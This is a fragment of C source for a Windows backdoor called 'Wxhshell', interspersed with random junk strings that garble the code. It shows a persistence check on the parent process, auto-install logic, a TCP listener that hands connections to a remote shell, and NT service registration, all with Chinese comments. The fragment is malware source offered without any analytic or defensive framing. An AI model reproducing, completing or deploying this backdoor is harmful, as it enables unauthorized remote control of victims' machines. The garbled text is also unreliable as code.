hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?f?5Kye if(hProcess==NULL) return 0; C'6I< YX '$ei3 HMODULE hMod; YxF@1_g char procName[255]; sd%j&Su#4 unsigned long cbNeeded; (7 I|lf
e xSY"Ru if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g=Xf&}&=x ~\":o:qyc CloseHandle(hProcess); {>>X3I 3?Pg
;
if(strstr(procName,"services")) return 1; // 以服务启动 zPt<b!q b3A0o* return 0; // 注册表启动 R1];P*>%gZ } BT7{]2?&V gInh+XZs // 主模块 *EWWN?d int StartWxhshell(LPSTR lpCmdLine) "\|P6H { <4}m: SOCKET wsl; Exb64n-_= BOOL val=TRUE; R%UTYRLUn int port=0; 0jTReY-W struct sockaddr_in door; z8\YMr6o q/O2E<=w*c if(wscfg.ws_autoins) Install(); M2Q,&>M
:_e[xB=Yy port=atoi(lpCmdLine); ;aQ``B _ *f>UW*, if(port<=0) port=wscfg.ws_port; omE- c =AIts[!qd WSADATA data; 7|?Ht] if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _LZ 442 /bqJ6$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F=kiYa} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y+~>9-S door.sin_family = AF_INET; ?T_hK door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6[>Z y)P door.sin_port = htons(port); m3_)UIJZ hM`*-+Zb if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /M_kJe,% closesocket(wsl); !E\J`K0_e return 1; XpOQBXbt } 1)
G6 9}Zi_xK&|e if(listen(wsl,2) == INVALID_SOCKET) { u+e.{Z! closesocket(wsl); h$fC/Juit return 1; YA^g[, } cK+)MFOu+ Wxhshell(wsl); *|:]("i WSACleanup(); /?QBMI 2c<phmiK return 0;
'+C%]p GD .>u } r.zJ/Tk ZsYT&P2 // 以NT服务方式启动 )F35WP~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jl4rEzVu { N
DV_/BI DWORD status = 0; "'"dcA DWORD specificError = 0xfffffff; Q /\Hc Y~M H serviceStatus.dwServiceType = SERVICE_WIN32; _Msaub!N serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6e;.}i serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qT L@N9 serviceStatus.dwWin32ExitCode = 0; b%,`;hy{ serviceStatus.dwServiceSpecificExitCode = 0; \(bML#I serviceStatus.dwCheckPoint = 0; ~UJ_Rr54 serviceStatus.dwWaitHint = 0; _/!IjB:(70 {%b-~& F9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CR$5'#11) if (hServiceStatusHandle==0) return; ,!4(B1@
?Yp: h status = GetLastError(); [(N<E/m %B if (status!=NO_ERROR) w~g)Dz2G { *l^%7Wrk serviceStatus.dwCurrentState = SERVICE_STOPPED; ),)]gw71QW serviceStatus.dwCheckPoint = 0; 5<ycF_ serviceStatus.dwWaitHint = 0; Ofg-gCF8 serviceStatus.dwWin32ExitCode = status; AHhck?M^ serviceStatus.dwServiceSpecificExitCode = specificError; Rj=xn(@d SetServiceStatus(hServiceStatusHandle, &serviceStatus); YX_p3 return; y(8AxsROp } 6^.< |